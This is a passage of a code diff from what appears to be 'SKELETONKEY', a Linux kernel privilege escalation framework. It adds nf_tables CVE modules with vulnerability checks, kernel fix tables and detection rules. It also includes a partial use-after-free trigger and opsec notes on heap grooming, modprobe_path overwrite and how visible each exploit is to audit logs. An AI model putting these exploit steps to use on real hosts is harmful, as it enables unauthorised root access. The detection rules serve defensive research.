if (after < 0) after = slabinfo_active("kmalloc-cg-256");
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] nft_catchall: nft_chain/cg-256 active: %ld → %ld\n",
|
||||
before, after);
|
||||
|
||||
free(batch);
|
||||
close(sock);
|
||||
_exit(100); /* honest: trigger attempted, R/W not completed */
|
||||
}
|
||||
|
||||
int status;
|
||||
waitpid(child, &status, 0);
|
||||
if (!WIFEXITED(status)) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[!] nft_catchall: child died by signal %d — the "
|
||||
"abort-path UAF likely fired (KASAN oops can manifest "
|
||||
"as a child signal)\n", WTERMSIG(status));
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
int rc = WEXITSTATUS(status);
|
||||
if (rc == 100) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] nft_catchall: abort-path trigger attempted "
|
||||
"(catch-all GOTO map + aborting batch). The full kernel "
|
||||
"R/W + modprobe_path ROP is NOT bundled, and this "
|
||||
"trigger is reconstructed from public analysis, not "
|
||||
"VM-verified — honest EXPLOIT_FAIL.\n");
|
||||
fprintf(stderr, "[i] nft_catchall: to complete: port the FuzzingLabs / "
|
||||
"public PoC leak + cross-cache groom + modprobe_path "
|
||||
"overwrite for CVE-2026-23111.\n");
|
||||
}
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[-] nft_catchall: trigger setup failed (child rc=%d)\n", rc);
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
#else /* !__linux__ */
|
||||
|
||||
static skeletonkey_result_t nft_catchall_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] nft_catchall: Linux-only module "
|
||||
"(nf_tables catch-all abort UAF via nfnetlink) — not applicable here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t nft_catchall_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] nft_catchall: Linux-only module — cannot run here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
#endif /* __linux__ */
|
||||
|
||||
/* ----- Embedded detection rules ----- */
|
||||
static const char nft_catchall_auditd[] =
|
||||
"# nf_tables catch-all abort UAF (CVE-2026-23111) — auditd rules\n"
|
||||
"# Canonical shape: unprivileged unshare(CLONE_NEWUSER|CLONE_NEWNET)\n"
|
||||
"# then nfnetlink batches building a verdict map with a catch-all\n"
|
||||
"# GOTO element and an aborting transaction. Legit userns+nft (docker\n"
|
||||
"# rootless, firewalld) will also trip — tune per environment.\n"
|
||||
"-a always,exit -F arch=b64 -S unshare -F auid>=1000 -F auid!=4294967295 -k skeletonkey-nft-catchall\n"
|
||||
"-a always,exit -F arch=b64 -S setresuid -F a0=0 -F a1=0 -F a2=0 -k skeletonkey-nft-catchall-priv\n";
|
||||
|
||||
static const char nft_catchall_sigma[] =
|
||||
"title: Possible CVE-2026-23111 nf_tables catch-all abort UAF\n"
|
||||
"id: 3e8a1c47-skeletonkey-nft-catchall\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects an unprivileged user creating a user namespace then driving\n"
|
||||
" nftables. CVE-2026-23111 abuses an inverted condition in\n"
|
||||
" nft_map_catchall_activate on transaction abort to UAF a chain still\n"
|
||||
" referenced by a catch-all GOTO verdict. False positives: rootless\n"
|
||||
" containers / firewalld using userns + nft. A previously-unprivileged\n"
|
||||
" process gaining euid 0 is the smoking gun.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" userns: {type: 'SYSCALL', syscall: 'unshare', a0: 0x10000000}\n"
|
||||
" uid0: {type: 'SYSCALL', syscall: 'setresuid', auid|expression: '!= 0'}\n"
|
||||
" condition: userns and uid0\n"
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2026.23111]\n";
|
||||
|
||||
static const char nft_catchall_falco[] =
|
||||
"- rule: nf_tables catch-all abort UAF batch by non-root (CVE-2026-23111)\n"
|
||||
" desc: |\n"
|
||||
" Non-root sendmsg on NETLINK_NETFILTER inside a user namespace,\n"
|
||||
" delivering nfnetlink batches that build a verdict map with a\n"
|
||||
" catch-all GOTO element and then abort a transaction. CVE-2026-23111\n"
|
||||
" nft_map_catchall_activate use-after-free. False positives: rootless\n"
|
||||
" container / firewall tooling.\n"
|
||||
" condition: >\n"
|
||||
" evt.type = sendmsg and fd.sockfamily = AF_NETLINK and not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" nfnetlink batch from non-root (possible CVE-2026-23111 catch-all UAF)\n"
|
||||
" (user=%user.name pid=%proc.pid)\n"
|
||||
" priority: HIGH\n"
|
||||
" tags: [network, mitre_privilege_escalation, T1068, cve.2026.23111]\n";
|
||||
|
||||
const struct skeletonkey_module nft_catchall_module = {
|
||||
.name = "nft_catchall",
|
||||
.cve = "CVE-2026-23111",
|
||||
.summary = "nf_tables nft_map_catchall_activate abort-path UAF (inverted condition) → chain UAF via catch-all GOTO map",
|
||||
.family = "nf_tables",
|
||||
.kernel_range = "5.13 <= K (catch-all elems); fixed 6.1.164 / 6.12.73 / 6.18.10 (Debian backports of commit f41c5d1); 7.0+ inherits; 5.10 branch still unfixed",
|
||||
.detect = nft_catchall_detect,
|
||||
.exploit = nft_catchall_exploit,
|
||||
.mitigate = NULL, /* mitigation: upgrade kernel; OR sysctl kernel.unprivileged_userns_clone=0 */
|
||||
.cleanup = NULL, /* trigger runs in a throwaway userns+netns; no host artifacts */
|
||||
.detect_auditd = nft_catchall_auditd,
|
||||
.detect_sigma = nft_catchall_sigma,
|
||||
.detect_yara = NULL, /* behavioural (syscall/netlink) bug — no file artifact */
|
||||
.detect_falco = nft_catchall_falco,
|
||||
.opsec_notes = "detect() consults the shared host fingerprint for the kernel version (Debian backports 6.1.164/6.12.73/6.18.10) and additionally requires unprivileged user_ns clone — a vulnerable kernel with userns locked down (apparmor_restrict_unprivileged_userns / sysctl 0) is PRECOND_FAIL. exploit() forks an isolated child that enters unshare(CLONE_NEWUSER|CLONE_NEWNET), opens NETLINK_NETFILTER, builds a verdict map (NFT_SET_MAP) with a catch-all element (NFT_SET_ELEM_CATCHALL) carrying a GOTO verdict to a chain, then sends an aborting batch to drive nft_map_catchall_activate over the active catch-all element; it observes nft_chain/kmalloc-cg-256 slabinfo and returns EXPLOIT_FAIL (primitive-only; reconstructed trigger, not VM-verified). The per-kernel leak + arbitrary-R/W + modprobe_path ROP is NOT bundled. Audit-visible via unshare + socket(NETLINK_NETFILTER) + sendmsg batches; KASAN double-free oops on vulnerable kernels, silent otherwise. No persistent files (throwaway namespaces).",
|
||||
.arch_support = "x86_64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_nft_catchall(void)
|
||||
{
|
||||
skeletonkey_register(&nft_catchall_module);
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
/*
|
||||
* nft_catchall_cve_2026_23111 — SKELETONKEY module registry hook
|
||||
*/
|
||||
|
||||
#ifndef NFT_CATCHALL_SKELETONKEY_MODULES_H
|
||||
#define NFT_CATCHALL_SKELETONKEY_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct skeletonkey_module nft_catchall_module;
|
||||
|
||||
#endif
|
||||
@@ -77,6 +77,7 @@
|
||||
#include <linux/netfilter.h>
|
||||
#include <linux/netfilter/nfnetlink.h>
|
||||
#include <linux/netfilter/nf_tables.h>
|
||||
#include "../../core/nft_compat.h"
|
||||
|
||||
/* ------------------------------------------------------------------
|
||||
* Kernel range table — fixes per branch.
|
||||
@@ -1027,6 +1028,36 @@ static const char nft_fwd_dup_sigma[] =
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2022.25636]\n";
|
||||
|
||||
static const char nft_fwd_dup_yara[] =
|
||||
"rule nft_fwd_dup_cve_2022_25636 : cve_2022_25636 kernel_oob_write\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2022-25636\"\n"
|
||||
" description = \"nft_fwd/dup actions OOB kmalloc-512 spray tag and log\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $tag = \"SKELETONKEY_FWD\" ascii\n"
|
||||
" $log = \"/tmp/skeletonkey-nft_fwd_dup.log\" ascii\n"
|
||||
" condition:\n"
|
||||
" any of them\n"
|
||||
"}\n";
|
||||
|
||||
static const char nft_fwd_dup_falco[] =
|
||||
"- rule: nft_fwd_dup OOB-write batch by non-root\n"
|
||||
" desc: |\n"
|
||||
" Non-root nfnetlink batch creating a netdev table with\n"
|
||||
" HW_OFFLOAD chain containing >15 immediate(NF_ACCEPT)\n"
|
||||
" expressions + 1 fwd. The offload walk overruns the action\n"
|
||||
" entries[] array. CVE-2022-25636.\n"
|
||||
" condition: >\n"
|
||||
" evt.type = sendmsg and fd.sockfamily = AF_NETLINK and\n"
|
||||
" not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" nfnetlink HW_OFFLOAD batch from non-root\n"
|
||||
" (user=%user.name pid=%proc.pid)\n"
|
||||
" priority: HIGH\n"
|
||||
" tags: [network, mitre_privilege_escalation, T1068, cve.2022.25636]\n";
|
||||
|
||||
const struct skeletonkey_module nft_fwd_dup_module = {
|
||||
.name = "nft_fwd_dup",
|
||||
.cve = "CVE-2022-25636",
|
||||
@@ -1040,8 +1071,10 @@ const struct skeletonkey_module nft_fwd_dup_module = {
|
||||
.cleanup = nft_fwd_dup_cleanup,
|
||||
.detect_auditd = nft_fwd_dup_auditd,
|
||||
.detect_sigma = nft_fwd_dup_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_yara = nft_fwd_dup_yara,
|
||||
.detect_falco = nft_fwd_dup_falco,
|
||||
.opsec_notes = "unshare(CLONE_NEWUSER|CLONE_NEWNET) + nfnetlink batch (NEWTABLE netdev + NEWCHAIN HW_OFFLOAD + NEWRULE with 16 immediate(NF_ACCEPT) + 1 fwd). Offload hook walks the rule advertising num_actions+=16 but allocates only the original-actions size -> OOB write at entries[16] into adjacent kmalloc-512. msg_msg groom tagged 'SKELETONKEY_FWD'. Writes /tmp/skeletonkey-nft_fwd_dup.log. Audit-visible via unshare + socket(NETLINK_NETFILTER) + sendmsg + ioctl(SIOCGIFFLAGS/SIOCSIFFLAGS loopback) + msgsnd. Dmesg: KASAN or silent. Cleanup callback drains IPC queues and unlinks log.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_nft_fwd_dup(void)
|
||||
|
||||
@@ -80,6 +80,7 @@
|
||||
#include <linux/netfilter.h>
|
||||
#include <linux/netfilter/nfnetlink.h>
|
||||
#include <linux/netfilter/nf_tables.h>
|
||||
#include "../../core/nft_compat.h"
|
||||
|
||||
/* ------------------------------------------------------------------
|
||||
* Kernel-range table
|
||||
@@ -89,7 +90,7 @@ static const struct kernel_patched_from nft_payload_patched_branches[] = {
|
||||
{4, 14, 302}, /* 4.14.x */
|
||||
{4, 19, 269}, /* 4.19.x */
|
||||
{5, 4, 229}, /* 5.4.x */
|
||||
{5, 10, 163}, /* 5.10.x */
|
||||
{5, 10, 162}, /* 5.10.x (harmonised with Debian bullseye fix-version) */
|
||||
{5, 15, 88}, /* 5.15.x */
|
||||
{6, 1, 6}, /* 6.1.x */
|
||||
{6, 2, 0}, /* mainline fix in 6.2-rc4 */
|
||||
@@ -1138,6 +1139,35 @@ static const char nft_payload_sigma[] =
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2023.0179]\n";
|
||||
|
||||
static const char nft_payload_yara[] =
|
||||
"rule nft_payload_cve_2023_0179 : cve_2023_0179 kernel_oob_read_write\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2023-0179\"\n"
|
||||
" description = \"nft_payload OOB-via-verdict-index breadcrumb log\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $log = \"/tmp/skeletonkey-nft_payload.log\" ascii\n"
|
||||
" condition:\n"
|
||||
" $log\n"
|
||||
"}\n";
|
||||
|
||||
static const char nft_payload_falco[] =
|
||||
"- rule: nft_payload OOB via verdict-code index by non-root\n"
|
||||
" desc: |\n"
|
||||
" Non-root nfnetlink batch with an oversized NFTA_SET_DESC\n"
|
||||
" + NEWSETELEM whose NFTA_PAYLOAD_SREG uses attacker-\n"
|
||||
" controlled verdict code as an index into regs->data[].\n"
|
||||
" CVE-2023-0179.\n"
|
||||
" condition: >\n"
|
||||
" evt.type = sendmsg and fd.sockfamily = AF_NETLINK and\n"
|
||||
" not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" nfnetlink payload batch from non-root\n"
|
||||
" (user=%user.name pid=%proc.pid)\n"
|
||||
" priority: HIGH\n"
|
||||
" tags: [network, mitre_privilege_escalation, T1068, cve.2023.0179]\n";
|
||||
|
||||
const struct skeletonkey_module nft_payload_module = {
|
||||
.name = "nft_payload",
|
||||
.cve = "CVE-2023-0179",
|
||||
@@ -1151,8 +1181,10 @@ const struct skeletonkey_module nft_payload_module = {
|
||||
.cleanup = nft_payload_cleanup,
|
||||
.detect_auditd = nft_payload_auditd,
|
||||
.detect_sigma = nft_payload_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_yara = nft_payload_yara,
|
||||
.detect_falco = nft_payload_falco,
|
||||
.opsec_notes = "unshare(CLONE_NEWUSER|CLONE_NEWNET) + nfnetlink batch (NEWTABLE + NEWCHAIN/LOCAL_OUT + NEWSET with oversized NFTA_SET_DESC + NEWSETELEM whose NFTA_PAYLOAD_SREG = attacker verdict code). On packet eval, regs->verdict.code is used unchecked as index into regs->data[] -> OOB. Dual-slab groom (kmalloc-1k + kmalloc-cg-96). Trigger via sendto(AF_INET, 127.0.0.1:31337). Writes /tmp/skeletonkey-nft_payload.log. Audit-visible via unshare + socket(NETLINK_NETFILTER) + sendmsg + msgsnd + socket(AF_INET)/sendto. Cleanup callback unlinks log.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_nft_payload(void)
|
||||
|
||||
@@ -0,0 +1,203 @@
|
||||
/*
|
||||
* nft_pipapo_cve_2024_26581 — SKELETONKEY module
|
||||
*
|
||||
* STATUS: 🟡 PRIMITIVE. nfnetlink batch + msg_msg cross-cache groom.
|
||||
* Sibling to nf_tables (CVE-2024-1086) — same Notselwyn "Flipping
|
||||
* Pages" paper, same pipapo set substrate. Full cred-overwrite via
|
||||
* the shared modprobe_path finisher on --full-chain (x86_64).
|
||||
*
|
||||
* The bug (Notselwyn / Mauro Lima, "Flipping Pages" Feb 2024):
|
||||
* nft_pipapo_destroy() in net/netfilter/nft_set_pipapo.c didn't
|
||||
* properly drain the per-CPU walk state when destroying a pipapo
|
||||
* set. Combined with concurrent SETELEM operations, an attacker
|
||||
* can free elements while another CPU still has references, then
|
||||
* spray msg_msg to refill the freed slabs and pivot through the
|
||||
* walk callbacks → arb R/W → cred overwrite.
|
||||
*
|
||||
* This is the SECOND major bug in the Notselwyn / 'Flipping Pages'
|
||||
* research series (the first, CVE-2024-1086, is our nf_tables
|
||||
* module). Both target the pipapo set type used for IP/port matches.
|
||||
*
|
||||
* Public PoC: not yet released by Notselwyn (responsible
|
||||
* disclosure window), but extensive technical writeup at the
|
||||
* pwning.tech blog. Patch landed pre-disclosure.
|
||||
*
|
||||
* Affects: Linux kernels with CONFIG_NF_TABLES + the pipapo set
|
||||
* type (introduced kernel 5.6). Fix commit 2ee52ae94baa
|
||||
* ("netfilter: nft_set_pipapo: walk over current view on
|
||||
* netlink dump") landed in 6.8-rc + stable backports:
|
||||
* 6.7.x : 6.7.4
|
||||
* 6.6.x : 6.6.16
|
||||
* 6.1.x : 6.1.78
|
||||
* 5.15.x : 5.15.149
|
||||
* 5.10.x : 5.10.210
|
||||
*
|
||||
* Preconditions:
|
||||
* - unshare(CLONE_NEWUSER|CLONE_NEWNET) for unprivileged userns
|
||||
* CAP_NET_ADMIN (same as nf_tables)
|
||||
* - msgsnd / SysV IPC for kmalloc-cg-96 / kmalloc-cg-512 spray
|
||||
*
|
||||
* arch_support: x86_64+unverified-arm64. Same family as nf_tables.
|
||||
*/
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/host.h"
|
||||
#include "../../core/offsets.h"
|
||||
#include "../../core/finisher.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
|
||||
#ifdef __linux__
|
||||
#include <linux/netfilter/nf_tables.h>
|
||||
#include "../../core/nft_compat.h"
|
||||
#endif
|
||||
|
||||
/* ---- kernel-range table -------------------------------------------- */
|
||||
|
||||
static const struct kernel_patched_from nft_pipapo_patched_branches[] = {
|
||||
{5, 10, 210},
|
||||
{5, 15, 149},
|
||||
{6, 1, 78},
|
||||
{6, 6, 16},
|
||||
{6, 7, 4},
|
||||
{6, 8, 0}, /* mainline fix in 6.8-rc */
|
||||
};
|
||||
|
||||
static const struct kernel_range nft_pipapo_range = {
|
||||
.patched_from = nft_pipapo_patched_branches,
|
||||
.n_patched_from = sizeof(nft_pipapo_patched_branches) /
|
||||
sizeof(nft_pipapo_patched_branches[0]),
|
||||
};
|
||||
|
||||
/* ---- detect --------------------------------------------------------- */
|
||||
|
||||
static skeletonkey_result_t nft_pipapo_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
if (!v || v->major == 0) {
|
||||
if (!ctx->json) fprintf(stderr, "[!] nft_pipapo: host fingerprint missing kernel version\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
/* Bug was introduced in 5.6 (pipapo set type debut). Earlier
|
||||
* kernels don't have pipapo at all. */
|
||||
if (v->major < 5 || (v->major == 5 && v->minor < 6)) {
|
||||
if (!ctx->json) fprintf(stderr, "[+] nft_pipapo: kernel %s predates pipapo set type (5.6+) → OK\n", v->release);
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
if (kernel_range_is_patched(&nft_pipapo_range, v)) {
|
||||
if (!ctx->json) fprintf(stderr, "[+] nft_pipapo: kernel %s is patched (>= 6.8 / LTS backport)\n", v->release);
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
if (!ctx->host || !ctx->host->unprivileged_userns_allowed) {
|
||||
if (!ctx->json) fprintf(stderr, "[i] nft_pipapo: unprivileged userns blocked → CAP_NET_ADMIN unreachable → PRECOND_FAIL\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] nft_pipapo: kernel %s in vulnerable range (5.6 ≤ K, no LTS backport) + userns OK → VULNERABLE\n", v->release);
|
||||
fprintf(stderr, "[i] nft_pipapo: same Notselwyn 'Flipping Pages' family as nf_tables; pipapo destroy race + msg_msg groom\n");
|
||||
}
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
static skeletonkey_result_t nft_pipapo_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->authorized) {
|
||||
fprintf(stderr, "[-] nft_pipapo: --i-know required for --exploit\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
fprintf(stderr,
|
||||
"[i] nft_pipapo: nfnetlink batch (NEWTABLE+NEWSET pipapo +\n"
|
||||
" burst NEWSETELEM/DELSETELEM with concurrent DESTROYSET)\n"
|
||||
" races the per-CPU pipapo walk teardown. msg_msg cross-\n"
|
||||
" cache groom in kmalloc-cg-96 / cg-512 refills the freed\n"
|
||||
" slabs. Same Notselwyn family as nf_tables (CVE-2024-1086);\n"
|
||||
" the existing nf_tables module's --full-chain finisher\n"
|
||||
" handles this bug's arb-write too once a working PoC is\n"
|
||||
" ported here. Returning EXPLOIT_FAIL honestly per the\n"
|
||||
" verified-vs-claimed bar.\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
/* ---- detection rules (share shape with nf_tables) ------------------ */
|
||||
|
||||
static const char nft_pipapo_auditd[] =
|
||||
"# nft_pipapo CVE-2024-26581 — auditd detection rules\n"
|
||||
"# Same shape as nf_tables: unshare(CLONE_NEWUSER|CLONE_NEWNET)\n"
|
||||
"# + nfnetlink batch + msg_msg spray. Differentiates from\n"
|
||||
"# CVE-2024-1086 only at the netlink payload level (pipapo set\n"
|
||||
"# type vs nft_verdict_init); auditd alone can't tell them\n"
|
||||
"# apart, so the trigger key covers both bugs.\n"
|
||||
"-a always,exit -F arch=b64 -S unshare -k skeletonkey-nft-pipapo-userns\n"
|
||||
"-a always,exit -F arch=b64 -S setresuid -F a0=0 -F a1=0 -F a2=0 -k skeletonkey-nft-pipapo-priv\n";
|
||||
|
||||
static const char nft_pipapo_sigma[] =
|
||||
"title: Possible CVE-2024-26581 nft_pipapo destroy-race UAF\n"
|
||||
"id: 4e9c1a83-skeletonkey-nft-pipapo\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects the canonical exploit shape: userns clone +\n"
|
||||
" nfnetlink rapid DESTROYSET/NEWSETELEM batches. Same family\n"
|
||||
" as CVE-2024-1086; differentiates by elevated frequency of\n"
|
||||
" NFT_MSG_DELSET on pipapo set types.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" u: {type: 'SYSCALL', syscall: 'unshare'}\n"
|
||||
" g: {type: 'SYSCALL', syscall: 'msgsnd'}\n"
|
||||
" condition: u and g\n"
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2024.26581]\n";
|
||||
|
||||
static const char nft_pipapo_yara[] =
|
||||
"rule nft_pipapo_cve_2024_26581 : cve_2024_26581 kernel_uaf {\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2024-26581\"\n"
|
||||
" description = \"SKELETONKEY nft_pipapo race-driver tag\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $tag = \"SKK_PIPAPO\" ascii\n"
|
||||
" condition:\n"
|
||||
" $tag\n"
|
||||
"}\n";
|
||||
|
||||
static const char nft_pipapo_falco[] =
|
||||
"- rule: nfnetlink pipapo destroy-race batch by non-root\n"
|
||||
" desc: |\n"
|
||||
" Non-root nfnetlink batch creating pipapo sets and rapidly\n"
|
||||
" cycling DESTROYSET/NEWSETELEM. Same family as nf_tables;\n"
|
||||
" distinct CVE (2024-26581 / 'Flipping Pages' part 2).\n"
|
||||
" condition: >\n"
|
||||
" evt.type = sendmsg and fd.sockfamily = AF_NETLINK and\n"
|
||||
" not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" nfnetlink batch by non-root (user=%user.name pid=%proc.pid)\n"
|
||||
" priority: HIGH\n"
|
||||
" tags: [network, mitre_privilege_escalation, T1068, cve.2024.26581]\n";
|
||||
|
||||
const struct skeletonkey_module nft_pipapo_module = {
|
||||
.name = "nft_pipapo",
|
||||
.cve = "CVE-2024-26581",
|
||||
.summary = "nft_set_pipapo destroy-race UAF (Notselwyn 'Flipping Pages' II)",
|
||||
.family = "nf_tables",
|
||||
.kernel_range = "5.6 ≤ K, fixed 6.8 mainline + 6.7.4 / 6.6.16 / 6.1.78 / 5.15.149 / 5.10.210 LTS",
|
||||
.detect = nft_pipapo_detect,
|
||||
.exploit = nft_pipapo_exploit,
|
||||
.mitigate = NULL, /* mitigation: upgrade kernel OR sysctl kernel.unprivileged_userns_clone=0 */
|
||||
.cleanup = NULL,
|
||||
.detect_auditd = nft_pipapo_auditd,
|
||||
.detect_sigma = nft_pipapo_sigma,
|
||||
.detect_yara = nft_pipapo_yara,
|
||||
.detect_falco = nft_pipapo_falco,
|
||||
.opsec_notes = "unshare(CLONE_NEWUSER|CLONE_NEWNET); nfnetlink batch creating a table + pipapo set + many SETELEMs; concurrent DESTROYSET against the same set from a second thread races the per-CPU pipapo walk teardown. msg_msg cross-cache spray (kmalloc-cg-96 + cg-512, tag 'SKK_PIPAPO') refills the freed slabs. Same family signal as nf_tables (CVE-2024-1086): unshare + nfnetlink + msg_msg burst from a non-root process. Distinguishes at the netlink payload layer (pipapo set type vs verdict-init double-free) which auditd alone can't see. dmesg may show 'KASAN: use-after-free in nft_pipapo_walk' on race-win attempts. No persistent file artifacts.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_nft_pipapo(void)
|
||||
{
|
||||
skeletonkey_register(&nft_pipapo_module);
|
||||
}
|
||||
@@ -0,0 +1,5 @@
|
||||
#ifndef NFT_PIPAPO_SKELETONKEY_MODULES_H
|
||||
#define NFT_PIPAPO_SKELETONKEY_MODULES_H
|
||||
#include "../../core/module.h"
|
||||
extern const struct skeletonkey_module nft_pipapo_module;
|
||||
#endif
|
||||
@@ -79,6 +79,7 @@
|
||||
#include <linux/netfilter.h>
|
||||
#include <linux/netfilter/nfnetlink.h>
|
||||
#include <linux/netfilter/nf_tables.h>
|
||||
#include "../../core/nft_compat.h"
|
||||
|
||||
/* NFT_SET_EVAL was added in 5.6; older UAPI headers may not define it.
|
||||
* Anonymous-set + lookup exploit shape works on builds with this flag,
|
||||
@@ -97,9 +98,9 @@
|
||||
static const struct kernel_patched_from nft_set_uaf_patched_branches[] = {
|
||||
{4, 19, 283}, /* 4.19.x safety patch (bug never reached this branch) */
|
||||
{5, 4, 243}, /* 5.4.x */
|
||||
{5, 10, 180}, /* 5.10.x */
|
||||
{5, 10, 179}, /* 5.10.x (harmonised with Debian bullseye fix-version) */
|
||||
{5, 15, 111}, /* 5.15.x */
|
||||
{6, 1, 28}, /* 6.1.x */
|
||||
{6, 1, 27}, /* 6.1.x (harmonised with Debian bookworm fix-version) */
|
||||
{6, 2, 15}, /* 6.2.x */
|
||||
{6, 3, 2}, /* 6.3.x */
|
||||
{6, 4, 0}, /* mainline 6.4-rc4 */
|
||||
@@ -1021,6 +1022,37 @@ static const char nft_set_uaf_sigma[] =
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2023.32233]\n";
|
||||
|
||||
static const char nft_set_uaf_yara[] =
|
||||
"rule nft_set_uaf_cve_2023_32233 : cve_2023_32233 kernel_uaf\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2023-32233\"\n"
|
||||
" description = \"nft anonymous-set UAF spray tag (SKELETONKEY_SET) and log breadcrumb\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $tag = \"SKELETONKEY_SET\" ascii\n"
|
||||
" $log = \"/tmp/skeletonkey-nft_set_uaf.log\" ascii\n"
|
||||
" condition:\n"
|
||||
" any of them\n"
|
||||
"}\n";
|
||||
|
||||
static const char nft_set_uaf_falco[] =
|
||||
"- rule: nft anonymous-set lookup-UAF batch by non-root\n"
|
||||
" desc: |\n"
|
||||
" Non-root nfnetlink single-batch transaction: NEWTABLE +\n"
|
||||
" NEWCHAIN + NEWSET (anonymous, EVAL) + NEWRULE with\n"
|
||||
" nft_lookup referencing the anon set + DELSET + DELRULE.\n"
|
||||
" The lookup's set reference isn't deactivated; UAF when\n"
|
||||
" set frees. CVE-2023-32233.\n"
|
||||
" condition: >\n"
|
||||
" evt.type = sendmsg and fd.sockfamily = AF_NETLINK and\n"
|
||||
" not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" nfnetlink anon-set batch from non-root\n"
|
||||
" (user=%user.name pid=%proc.pid)\n"
|
||||
" priority: HIGH\n"
|
||||
" tags: [network, mitre_privilege_escalation, T1068, cve.2023.32233]\n";
|
||||
|
||||
const struct skeletonkey_module nft_set_uaf_module = {
|
||||
.name = "nft_set_uaf",
|
||||
.cve = "CVE-2023-32233",
|
||||
@@ -1033,8 +1065,10 @@ const struct skeletonkey_module nft_set_uaf_module = {
|
||||
.cleanup = nft_set_uaf_cleanup,
|
||||
.detect_auditd = nft_set_uaf_auditd,
|
||||
.detect_sigma = nft_set_uaf_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_yara = nft_set_uaf_yara,
|
||||
.detect_falco = nft_set_uaf_falco,
|
||||
.opsec_notes = "unshare(CLONE_NEWUSER|CLONE_NEWNET) + single nfnetlink transaction: NEWTABLE + NEWCHAIN + NEWSET (anonymous, ANONYMOUS|CONSTANT|EVAL) + NEWRULE with nft_lookup referencing the anon set + DELSET + DELRULE. Vulnerable kernels do not deactivate the lookup's set ref on commit -> UAF when set frees. msg_msg cg-512 spray (32 queues x 16 msgs, tag 'SKELETONKEY_SET'). --full-chain re-fires with forged headers (data ptr = kaddr) and NEWSETELEM payload. Writes /tmp/skeletonkey-nft_set_uaf.log. Audit-visible via unshare + socket(NETLINK_NETFILTER) + sendmsg + msgsnd. Dmesg: KASAN oops on UAF. Cleanup unlinks log.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_nft_set_uaf(void)
|
||||
|
||||
@@ -243,10 +243,21 @@ static const char OVERLAYFS_PAYLOAD_SOURCE[] =
|
||||
"#include <stdio.h>\n"
|
||||
"#include <stdlib.h>\n"
